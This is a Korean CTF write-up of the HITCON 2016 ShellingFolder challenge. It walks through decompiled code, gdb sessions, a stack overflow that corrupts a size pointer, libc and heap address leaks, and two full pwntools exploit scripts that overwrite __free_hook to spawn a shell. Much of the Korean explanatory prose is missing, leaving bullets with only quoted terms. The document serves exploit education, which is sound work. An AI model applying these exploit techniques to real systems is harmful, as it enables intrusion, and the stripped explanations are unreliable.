ShellingFolder[KR]

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- 1 Infomation
  - 1.1 Description
  - 1.2 Related file
  - 1.3 Source Code
- 2 Write up
  - 2.1 File information
  - 2.2 Binary analysis
    - 2.2.1 Main
    - 2.2.2 List the current folder
    - 2.2.3 Change the current folder
    - 2.2.4 Make a folder
    - 2.2.5 Create a file in current folder
    - 2.2.6 Remove a folder or a file
    - 2.2.7 FreeFolder
    - 2.2.8 Calculate the size of folder
    - 2.2.9 callMemcopy
  - 2.3 Debugging
  - 2.4 Structure of Exploit code
  - 2.5 Information for attack
    - 2.5.1 Leak Libc address
    - 2.5.2 Leak Heap Address
    - 2.5.3 Find target to overwrite
    - 2.5.4 Offset(execve("/bin/sh"))
- 3 Exploit Code
  - 3.1 system("sh;")
  - 3.2 system() execve("/bin/sh")
- 4 Flag
- 5 Related Site

Infomation

Description

This is a magic folder.
nc 52.69.237.212 4869

shellingfolder
libc.so.6

Related file

File list

- shellingfolder_42848afa70a13434679fac53a471239255753260
- libc.so.6_375198810bb39e6593a968fcbcf6556789026743

Source Code

Source code

Write up

File information

File information

```
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ file shellingfolder_42848afa70a13434679fac53a471239255753260
shellingfolder_42848afa70a13434679fac53a471239255753260: ELF 64-bit LSB  shared object, x86-64, version 1
(SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]
=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ checksec.sh --file
shellingfolder_42848afa70a13434679fac53a471239255753260
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH
shellingfolder_42848afa70a13434679fac53a471239255753260
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$
```

Binary analysis

- **.**
  - 1. .
  - 2.
  - 3.
  - 4.
  - 5. .
  - 6.
  - 7.

./shellingfolder

```
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:
```

Main

- **main() .**
  - PrintMenu() Menu .
  - InputNumber() Menu .
- **"rootFolder" .**

struct FileInfo

```
struct FileInfo{
        struct FileInfo *list[10];
        struct FileInfo *parentFolder;
        char docName[32];
        long size;
        int fileType;
}
```

main()

```
void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  unsigned int savedregs; // [rsp+10h] [rbp+0h]

  setSIGALM();
  v3 = (__int64)calloc(1uLL, 0x88uLL);
  rootFolder = (struct FileInfo *)v3;
  v3 += 88LL;
  *(_DWORD *)v3 = 'toor';
  *(_BYTE *)(v3 + 4) = 0;
  rootFolder->parentFolder = rootFolder;
  rootFolder->fileType = 1;
  gFolder = rootFolder;
  while ( 1 )
  {
    PrintMenu();
    InputNumber();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        ListFloder(gFolder);
        break;
      case 2u:
        ChangeFolder(gFolder);
        break;
      case 3u:
        MakeFolder(gFolder);
        break;
      case 4u:
        CreateFile(gFolder);
        break;
      case 5u:
        Remove(gFolder);
        break;
      case 6u:
        Caculate(gFolder);
        break;
      case 7u:
        puts("bye bye");
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
}
```

List the current folder

- .
  - "gFolder" list[] .

ListFloder

```
unsigned __int64 __fastcall ListFloder(FileInfo *folder)
{
  signed int i; // [rsp+18h] [rbp-38h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( !folder )
    exit(1);
  puts("----------------------");
  for ( i = 0; i <= 9; ++i )
  {
    if ( folder->list[i] )
    {
      if ( folder->list[i]->fileType )
        printf("\x1B[32m%s\x1B[0m\n", folder->list[i]->docName);
      else
        puts(folder->list[i]->docName);
    }
  }
  puts("----------------------");
  return __readfsqword(0x28u) ^ v3;
}
```

Change the current folder

- .
  - "gFolder" .
  - .
    - ".." "gFolder" parentFolder "gFolder" .
    - ".." "gFolder" list[] .
      - (list[i]) "gFolder" .
      - "No such Folder" .

ChangeFolder

```
signed __int64 __fastcall ChangeFolder(FileInfo *folder)
{
  signed int i; // [rsp+1Ch] [rbp-34h]
  char folderName[40]; // [rsp+20h] [rbp-30h]
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( !folder )
    exit(-1);
  printf("Choose a Folder :");
  InputName(folderName, 31);
  if ( !strcmp(folderName, "..") )
  {
    gFolder = folder->parentFolder;
    puts("successful");
  }
  else
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( folder->list[i] && folder->list[i]->fileType == 1 && !strcmp(folder->list[i]->docName, folderName) )
      {
        gFolder = folder->list[i];
        puts("successful");
        return 1LL;
      }
    }
    puts("No such Folder");
  }
  return 0LL;
}
```

Make a folder

- .
  - calloc() FileInfo .
    - InputName() .
    - .
      - newFolderfileType = 1()
      - newFolderparentFolder = folder( )
      - newFoldersize = 0
  - checkEmptyList() list[] .

MakeFolder()

```
int __fastcall MakeFolder(struct FileInfo *folder)
{
  int result; // eax
  FileInfo *newFolder; // [rsp+18h] [rbp-8h]

  if ( !folder )
    exit(1);
  newFolder = (FileInfo *)calloc(1uLL, 0x88uLL);
  if ( !newFolder )
  {
    puts("Malloc error!!");
    exit(-1);
  }
  printf("Name of Folder:", 136LL);
  InputName((unsigned __int8 *)newFolder->docName, 31);
  newFolder->fileType = 1;
  newFolder->parentFolder = folder;
  newFolder->size = 0LL;
  if ( (unsigned int)checkEmptyList(folder, newFolder) == 1 )
    result = puts("successful");
  else
    result = puts("Failed");
  return result;
}
```

Create a file in current folder

- .
  - MakeFolder() .
  - MakeFolder() .
    - newFilefileType = 0()
    - newFilesize =

CreateFile()

```
int __fastcall CreateFile(FileInfo *folder)
{
  int result; // eax
  FileInfo *newFile; // [rsp+18h] [rbp-8h]

  if ( !folder )
    exit(1);
  newFile = (FileInfo *)calloc(1uLL, 0x88uLL);
  if ( !newFile )
  {
    puts("Malloc error!!");
    exit(-1);
  }
  printf("Name of File:", 136LL);
  InputName((unsigned __int8 *)newFile->docName, 31);
  newFile->fileType = 0;
  newFile->parentFolder = folder;
  printf("Size of File:", 31LL);
  newFile->size = InputNumber();
  if ( (unsigned int)checkEmptyList((__int64)folder, (__int64)newFile) == 1 )
    result = puts("successful");
  else
    result = puts("Failed");
  return result;
}
```

Remove a folder or a file

- .

        - , .
        - "gFolder" list[] docName .
            - FreeFolder() .
            - list[] 0 .

Remove()

```
signed __int64 __fastcall Remove(FileInfo *folder)
{
  signed int i; // [rsp+1Ch] [rbp-34h]
  char fileName[40]; // [rsp+20h] [rbp-30h]
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( !folder )
    exit(-1);
  printf("Choose a Folder or file :");
  InputName(fileName, 31);
  for ( i = 0; i <= 9; ++i )
  {
    if ( folder->list[i] && !strcmp(folder->list[i]->docName, fileName) )
    {
      FreeFolder(folder->list[i], fileName);
      folder->list[i] = 0LL;
      return 1LL;
    }
  }
  puts("No such Folder");
  return 0LL;
}
```

FreeFolder

- .
    - , type .
        - FreeFolder() .
            - free() .
        - free() .

FreeFolder()

```
void __fastcall FreeFolder(FileInfo *delFolder, char *fileName)
{
  signed int i; // [rsp+1Ch] [rbp-4h]

  if ( delFolder )
  {
    if ( delFolder->fileType )
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( delFolder->list[i] )
          FreeFolder(delFolder->list[i], fileName);
      }
      free(delFolder);
    }
    else
    {
      free(delFolder);
    }
  }
}
```

Calculate the size of folder

- .
    - "isDocName" 0 .
    - "gFolder" size ptrSize .(ptrSize = &folder->size;)

        - callMemcopy() folderlist[count]docName isDocName .
        - "gFolder" list[] type .
            - type (1) *ptrSize *ptrSize .
            - type (0) *ptrSize size .
        - callMemcopy() .(Stack overflow)
            - "isDocName" 24byte .
            - "folderlist[count]docName" 32 byte .
            - , "folderlist[count]docName" Stack (*ptrSize) .
        - "isDocName" *ptrSize Heap .

Caculate()

```
unsigned __int64 __fastcall Caculate(FileInfo *folder)
{
  char isDocName[24]; // [rsp+10h] [rbp-30h]
  __int64 *ptrSize; // [rsp+28h] [rbp-18h]
  int count; // [rsp+30h] [rbp-10h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( !folder )
    exit(1);
  count = 0;
  memset(isDocName, 0, 32uLL);
  while ( count <= 9 )
  {
    if ( folder->list[count] )
    {
      ptrSize = &folder->size;
      callMemcopy(isDocName, folder->list[count]->docName);
      if ( folder->list[count]->fileType == 1 )
      {
        *ptrSize = *ptrSize;
      }
      else
      {
        printf("%s : size %ld\n", isDocName, folder->list[count]->size);
        *ptrSize += folder->list[count]->size;
      }
    }
    ++count;
  }
  printf("The size of the folder is %ld\n", folder->size);
  return __readfsqword(0x28u) ^ v5;
}
```

callMemcopy

- .
    - heap .
    - memcpy() stack heap .

CopyMem

```
void *__fastcall callMemcopy(void *stack, const char *heap)
{
  size_t len; // ST28_8

  len = strlen(heap);
  return memcpy(stack, heap, len);
}
```

Debugging

- **Break point .**
    - Caculate() call memset : Base address + 0x1378
    - callMemcopy() call memcpy : Base address + 0x1331

Break point

```
lazenca0x0@ubuntu:~/CTF/HITCON/ShellingFolder$ gdb -q ./shell*
Reading symbols from ./shellingfolder_42848afa70a13434679fac53a471239255753260...(no debugging symbols found)...
done.
gdb-peda$ handle SIGALRM nopass
Signal        Stop        Print        Pass to program        Description
SIGALRM       No        Yes        No                Alarm clock
gdb-peda$ b *0x555555554000 + 0x1378
Breakpoint 1 at 0x555555555378
gdb-peda$ b *0x555555554000 + 0x13A5
Breakpoint 2 at 0x555555555378
gdb-peda$ b *0x555555554000 + 0x1331
Breakpoint 3 at 0x555555555331
gdb-peda$
```

- **Overflow .**
  - "4.Create a file in current folder" "Name of File:" "A * 24 + B * 7" .
  - "Calculate the size of folder" .
- **"isDocName[24]" .**
  - memset() "isDocName[24]" 0 .
  - "ptrSize"(0x7fffffffe138) "&foldersize"(0x555555757088) .

Memset

```
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder
/shellingfolder_42848afa70a13434679fac53a471239255753260
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:4
Name of File:AAAAAAAAAAAAAAAAAAAAAAAABBBBBBB
Size of File:successful
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:6
Breakpoint 1, 0x0000555555555378 in ?? ()
gdb-peda$ i r rdi
rdi            0x7fffffffe120        0x7fffffffe120
gdb-peda$ x/6gx 0x7fffffffe120
0x7fffffffe120:        0x0000555555555820        0x00000006f7a7c7fa
0x7fffffffe130:        0x0000000000000a36        0x00007fffffffe150
0x7fffffffe140:        0x0000555500000000        0x06a271d09477ed00
gdb-peda$ ni
0x000055555555537d in ?? ()
gdb-peda$ x/6gx 0x7fffffffe120
0x7fffffffe120:        0x0000000000000000        0x0000000000000000
0x7fffffffe130:        0x0000000000000000        0x0000000000000000
0x7fffffffe140:        0x0000555500000000        0x06a271d09477ed00
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00005555555553a5 in ?? ()
gdb-peda$ x/6gx 0x7fffffffe120
0x7fffffffe120:        0x0000000000000000        0x0000000000000000
0x7fffffffe130:        0x0000000000000000        0x0000555555757088
0x7fffffffe140:        0x0000555500000000        0x06a271d09477ed00
gdb-peda$
```

- **Stack overflow .**
  - callMemcopy() memcpy() "ptrSize"(0x7fffffffe138) .
    - 0x555555757088 0x0042424242424242
  - , ptrSize .

Stack Overflow

```
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000555555555331 in ?? ()
gdb-peda$ x/6gx 0x7fffffffe120
0x7fffffffe120:        0x4141414141414141        0x4141414141414141
0x7fffffffe130:        0x4141414141414141        0x0042424242424242
0x7fffffffe140:        0x0000555500000000        0x06a271d09477ed00
gdb-peda$
```

Structure of Exploit code

- Payload .

Payload

1. Leak Libc Base
2. Leak Heap Address
3. offset
4. Overflow
5. Shell

- .

1. LeakLibcBase
    a. "Remove a folder or a file"
    b. "Create a file in current folder"
    c. "List the current folder"
2. Leak Heap Address
3. offset
    a. System()
    b. "/bin/sh" execve()
4. Overflow
    a. Overflow (__free_hook)
    b. Overflow
5. Shell

- payload .

- Leak libc address
- system offset
- Overflow

Information for attack

Leak Libc address

- **Libc address .**
    - 2 1 .
        - 2 Heap Libc address .
        - "rootFolder" list[1] .

Default Settings

```
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder
/shellingfolder_42848afa70a13434679fac53a471239255753260
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:3
Breakpoint 2, 0x000055555555501f in ?? ()
gdb-peda$ i r rax
rax            0x5555557570a0   0x5555557570a0
gdb-peda$ c
Continuing.
Name of Folder:AAAA
successful
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:3
Breakpoint 2, 0x000055555555501f in ?? ()
gdb-peda$ i r rax
rax            0x555555757130   0x555555757130
gdb-peda$ c
Continuing.
Name of Folder:BBBB
successful
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:4
Name of File:CCCCCCCCCCCCCCCCCCCCCCCCD
Size of File:64
successful
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:
```

- **Heap Libc address .**
  - Libc address main_arena top .
  - unsorted bin fd, bk .
  - bk "rootFolder"list[1] .
    - "rootFolder"list[1] 0x5555557570e0 .
      - bk(0x555555757138) - 0x58 = 0x5555557570e0
    - "rootFolder"list[1] 0x40(64) .
      - 0x5555557570e0 - "rootFolder"list[1] (0x00005555557570a0) = 0x40(64)

Create Libc address

```
Your choice:5
Choose a Folder or file :BBBB
Breakpoint 1, 0x0000555555554e11 in ?? ()
gdb-peda$ x/12gx 0x555555757130
0x555555757130:        0x0000000000000000        0x0000000000000000
0x555555757140:        0x0000000000000000        0x0000000000000000
0x555555757150:        0x0000000000000000        0x0000000000000000
0x555555757160:        0x0000000000000000        0x0000000000000000
0x555555757170:        0x0000000000000000        0x0000000000000000
0x555555757180:        0x0000555555757010        0x0000000042424242
gdb-peda$ ni
0x0000555555554e16 in ?? ()
gdb-peda$ x/12gx 0x555555757130
0x555555757130:        0x00007ffff7dd1b78        0x00007ffff7dd1b78
0x555555757140:        0x0000000000000000        0x0000000000000000
0x555555757150:        0x0000000000000000        0x0000000000000000
0x555555757160:        0x0000000000000000        0x0000000000000000
0x555555757170:        0x0000000000000000        0x0000000000000000
0x555555757180:        0x0000555555757010        0x0000000042424242
gdb-peda$ x/gx 0x555555757010
0x555555757010:        0x00005555557570a0
gdb-peda$ x/gx 0x00005555557570a0 + 0x58
0x5555557570f8:        0x0000000041414141
gdb-peda$ x/20gx 0x00005555557570a0
0x5555557570a0:        0x0000000000000000        0x0000000000000000
0x5555557570b0:        0x0000000000000000        0x0000000000000000
0x5555557570c0:        0x0000000000000000        0x0000000000000000
0x5555557570d0:        0x0000000000000000        0x0000000000000000
0x5555557570e0:        0x0000000000000000        0x0000000000000000
0x5555557570f0:        0x0000555555757010        0x0000000041414141
0x555555757100:        0x0000000000000000        0x0000000000000000
0x555555757110:        0x0000000000000000        0x0000000000000000
0x555555757120:        0x0000000000000001        0x0000000000000091
0x555555757130:        0x00007ffff7dd1b78        0x00007ffff7dd1b78
gdb-peda$ p/x 0x555555757138 - 0x58
$3 = 0x5555557570e0
gdb-peda$ p/x 0x5555557570e0 - 0x5555557570a0
$4 = 0x40
gdb-peda$ p/d 0x40
$5 = 64
```

- **"rootFolder" .**
  - "ptrSize" 1byte .
  - , "rootFolder" .
    - 'D' 0x10
    - Ex) "C" * 24 + 0x10 : 0x0000555555757088 0x0000555555757044

Stack Overflow

```
gdb-peda$ c
Continuing.
**************************************
            ShellingFolder
**************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
**************************************
Your choice:6
Breakpoint 3, 0x0000555555555331 in ?? ()
gdb-peda$ x/6gx 0x7fffffffe120
0x7fffffffe120:        0x0000000041414141        0x0000000000000000
0x7fffffffe130:        0x0000000000000000        0x0000555555757088
0x7fffffffe140:        0x0000555500000000        0x6ad1e428fbe39100
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000555555555331 in ?? ()
gdb-peda$ x/6gx 0x7fffffffe120
0x7fffffffe120:        0x4343434343434343        0x4343434343434343
0x7fffffffe130:        0x4343434343434343        0x0000555555757044
0x7fffffffe140:        0x0000555500000002        0x6ad1e428fbe39100
gdb-peda$ set *0x7fffffffe138 = 0x55757010
gdb-peda$ x/6gx 0x7fffffffe120
0x7fffffffe120:        0x4343434343434343        0x4343434343434343
0x7fffffffe130:        0x4343434343434343        0x0000555555757010
0x7fffffffe140:        0x0000555500000002        0x6ad1e428fbe39100
gdb-peda$ x/4gx 0x0000555555757010
0x555555757010:        0x00005555555570a0        0x0000000000000000
0x555555757020:        0x00005555555571c0        0x0000000000000000
gdb-peda$
```

- **size "rootFolder" list[1] .**
  - Stack overflow ptrSize "rootFolder"list[1] .(0x555555757010)
  - size(0x40) "rootFolder"list[1] .
    - 0x555555757010: 0x00005555557570a0 +x040 = 0x5555557570e0
  - free chunk bk(0x5555557570e0 + 0x58) .

Change the value of "rootFolderlist[1]"

```
Breakpoint 4, 0x000055555555543e in ?? ()
gdb-peda$ i r rax
rax            0x555555757010        0x555555757010
gdb-peda$ i r rdx
rdx            0x5555557570e0        0x5555557570e0
gdb-peda$ x/gx 0x5555557570e0 + 0x58
0x555555757138:        0x00007ffff7dd1b78
gdb-peda$
```

- **Libc address .**
  - Libc address : x??(0x7ffff7dd1b78)

Leak libc address

```
gdb-peda$ c
Continuing.
The size of the folder is 0
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:1
----------------------
x??
CCCCCCCCCCCCCCCCCCCCCCCCD
----------------------
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:
```

- .

Leak libc address

```
from pwn import *

PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260"

def Functions(number,name,size):
        p.sendlineafter(":",str(number))
        if (number != 1 or number != 6):
                p.sendlineafter(":",name)
        if number == 4:
                p.sendlineafter(":",str(size))

p = process(PWN_FILE)

Functions(3,"AAAA",0)
Functions(3,"BBBB",0)
Functions(4,"C"*24+p8(0x10),64)
Functions(5,"BBBB",0)
Functions(6,"",0)
Functions(1,"",0)

p.recvuntil("----------------------\n")
libcAddr = u64(p.recv(6).ljust(8,"\x00"))
log.info("Libc Address : " + hex(libcAddr))
```

python Exploit.py

```
autolycos@ubuntu:~/CTF/HITCON2016/Shellingfolder$ python Exploit.py
[+] Starting local process './shellingfolder_42848afa70a13434679fac53a471239255753260': Done
[*] Libc Address : 0x7f108925f7b8
[*] Stopped program './shellingfolder_42848afa70a13434679fac53a471239255753260'
```

Leak Heap Address

- **Heap Address .**
  - "Create a file in current folder" 24 .
  - "Caculate the size of folder" *ptrSize Heap Address .
  - "isDocName" "*ptrSize" .

Leak Heap address

```
Starting program: /home/autolycos/CTF/HITCON2016/Shellingfolder
/shellingfolder_42848afa70a13434679fac53a471239255753260
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:4
Name of File:AAAAAAAAAAAAAAAAAAAAAAA
Size of File:0
successful
***************************************
            ShellingFolder
***************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
***************************************
Your choice:6

Breakpoint 1, 0x000055555555540a in ?? ()
(gdb) i r rax
rax            0x7fffffffe1b0        140737488347568
(gdb) x/4gx 0x7fffffffe1b0
0x7fffffffe1b0:        0x4141414141414141        0x4141414141414141
0x7fffffffe1c0:        0x4141414141414141        0x0000555555757088
(gdb)
```

- .

Leak Heap Address

```
...
Functions(4,"Z"*24,0)        #Create File
Functions(6,"",0)                #Calc
p.recvuntil("Z"*24)
heapAddr = u64(p.recv(6).ljust(8,"\x00"))
Functions(5,"Z"*24,0)
...
```

Find target to overwrite

- **.**
  - __malloc_hook
  - __realloc_hook
  - __free_hook
- **"__free_hook" .**

Memory Allocation Hooks

- GNU C hook malloc,realloc free .
  - hook, , .
  - hook 'malloc.h' .

____malloc__hook	malloc . malloc .	void *function (size_t size, const void *caller)
___realloc__hook	realloc . realloc .	void *function (void *ptr, size_t size, const void *caller)
____free__hook	free . free .	void function (void *ptr, const void *caller)

Offset(execve("/bin/sh"))

- **system() "sh" .**
  - system() execve(/"bin/sh") .

glibc-2.24/sysdeps/posix/system.c

```
#define        SHELL_PATH        "/bin/sh"        /* Path of the shell.  */
#define        SHELL_NAME        "sh"               /* Name to give it.  */

...

if (pid == (pid_t) 0)
{
      /* Child side.  */
      const char *new_argv[4];
      new_argv[0] = SHELL_NAME;
      new_argv[1] = "-c";
      new_argv[2] = line;
      new_argv[3] = NULL;

      /* Restore the signals.  */
      (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL);
      (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL);
      (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
      INIT_LOCK ();


      /* Exec the shell.  */
      (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
      _exit (127);
}
...
```

- offset 0x4647c .

Libc

```
.text:000000000004647C                 mov     rax, cs:environ_ptr_0
.text:0000000000046483                 lea     rdi, aBinSh     ; "/bin/sh"
.text:000000000004648A                 lea     rsi, [rsp+188h+var_158]
.text:000000000004648F                 mov     cs:dword_3C06C0, 0
.text:0000000000046499                 mov     cs:dword_3C06D0, 0
.text:00000000000464A3                 mov     rdx, [rax]
.text:00000000000464A6                 call    execve
```

Exploit Code

system("sh;")

Exploit.py

```
from pwn import *
#context.log_level = 'debug'

PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260"
LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6"

def List():
        p.recvuntil('Your choice:')
        p.sendline('1')

def CreateDir(name):
        p.recvuntil('Your choice:')
        p.sendline('3')
        p.recvuntil('Name of Folder:')
        p.sendline(name)
```

```
def CreateFile(name,size):
        p.recvuntil('Your choice:')
        p.sendline('4')
        p.recvuntil('Name of File:')
        p.send(name)
        p.recvuntil('Size of File:')
        p.sendline(str(size))

def Calc():
        p.recvuntil('Your choice:')
        p.sendline('6')

def Remove(name):
        p.recvuntil('Your choice:')
        p.sendline('5')
        p.recvuntil('Choose a Folder or file :')
        p.sendline(name)

p = process(PWN_FILE)
libc = ELF(LIBC_FILE)

#Leak Heap address
CreateFile("Z"*24,0)
Calc()
p.recvuntil("Z"*24)
heapAddr = u64(p.recv(6).ljust(8,"\x00"))
Remove("Z"*24)

#Leak Libc address
CreateDir("AAAA")
CreateDir("BBBB")
CreateFile("C"*24+p8(0x10),64)
Remove("BBBB")
Calc()
List()

#Print Libc address
p.recvuntil("----------------------\n")
libcAddr = u64(p.recv(6).ljust(8,"\x00"))
libc.address += libcAddr - 0x3c4b78
systemAddr = libc.symbols['system']
freeHook = libc.symbols['__free_hook']

log.info("Heap Address : " + hex(heapAddr))
log.info("Libc Address : " + hex(libcAddr))
log.info("System() : " + hex(systemAddr))
log.info("__free_hook() : " + hex(freeHook))

#Overflow freeHook -> systemAddr
CreateFile("D"*24+p64(freeHook)[:7], (systemAddr & 0xffffffff))
CreateFile("E"*24+p64(freeHook+4)[:7], (systemAddr & 0xffffffff00000000)>>32)

#Overflow "GetSh->list[1]" -> "sh;"
CreateFile("F"*24+p64(heapAddr+0x2e8)[:7:],0x3b6873)
CreateFile("GetSh",0)
Calc()

#system(sh;)
Remove("GetSh")

p.interactive()
```

system() execve("/bin/sh")

Exploit.py

```
from pwn import *
#context.log_level = 'debug'
```

```
PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260"
LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6"

def List():
        p.recvuntil('Your choice:')
        p.sendline('1')

def CreateDir(name):
        p.recvuntil('Your choice:')
        p.sendline('3')
        p.recvuntil('Name of Folder:')
        p.sendline(name)

def CreateFile(name,size):
        p.recvuntil('Your choice:')
        p.sendline('4')
        p.recvuntil('Name of File:')
        p.send(name)
        p.recvuntil('Size of File:')
        p.sendline(str(size))

def Calc():
        p.recvuntil('Your choice:')
        p.sendline('6')

def Remove(name):
        p.recvuntil('Your choice:')
        p.sendline('5')
        p.recvuntil('Choose a Folder or file :')
        p.sendline(name)

p = process(PWN_FILE)
libc = ELF(LIBC_FILE)

#Leak Heap address
CreateFile("Z"*24,0)        #Create File
Calc()
p.recvuntil("Z"*24)
heapAddr = u64(p.recv(6).ljust(8,"\x00"))
Remove("Z"*24)

#Leak Libc address
CreateDir("AAAA")
CreateDir("BBBB")
CreateFile("C"*24+p8(0x10),64)
Remove("BBBB")
Calc()
List()

p.recvuntil("----------------------\n")

#Print Libc address
libcAddr = u64(p.recv(6).ljust(8,"\x00"))
libc.address += libcAddr - 0x3c4b78
systemAddr = libc.symbols['system']
freeHook = libc.symbols['__free_hook']
execve = libc.address + 0x4647c

log.info("Heap Address : " + hex(heapAddr))
log.info("Libc Address : " + hex(libcAddr))
log.info("execve('/bin/sh') : " + hex(execve))
log.info("__free_hook() : " + hex(freeHook))

#Overflow freeHook -> systemAddr
CreateFile("D"*24+p64(freeHook)[:7], (execve & 0xffffffff))                #Create File
CreateFile("E"*24+p64(freeHook+4)[:7], (execve & 0xffffffff00000000)>>32)        #Create File
Calc()

#execve("/bin/sh")
Remove("D"*24+p64(freeHook)[:7])
```

```
p.interactive()
```

Flag

Flag	hitcon{Sh3llingF0ld3r_Sh3rr1nf0rd_Pl4y_w17h_4_S1mpl3_D4t4_Ori3nt3d_Pr0gr4mm1n7}

Related Site

- http://blog.dazzlepppp.cn/2016/11/12/HITCON-CTF-2016-ShellingFolder/
- http://bruce30262.logdown.com/posts/976496-hitcon-ctf-2016-quals-shelling-folder
- https://github.com/ret2libc/ctfs/tree/master/hitcon2016quals/shellingfolder
- https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html
- http://database.sarang.net/study/glibc/3.htm

Unknown macro: 'html'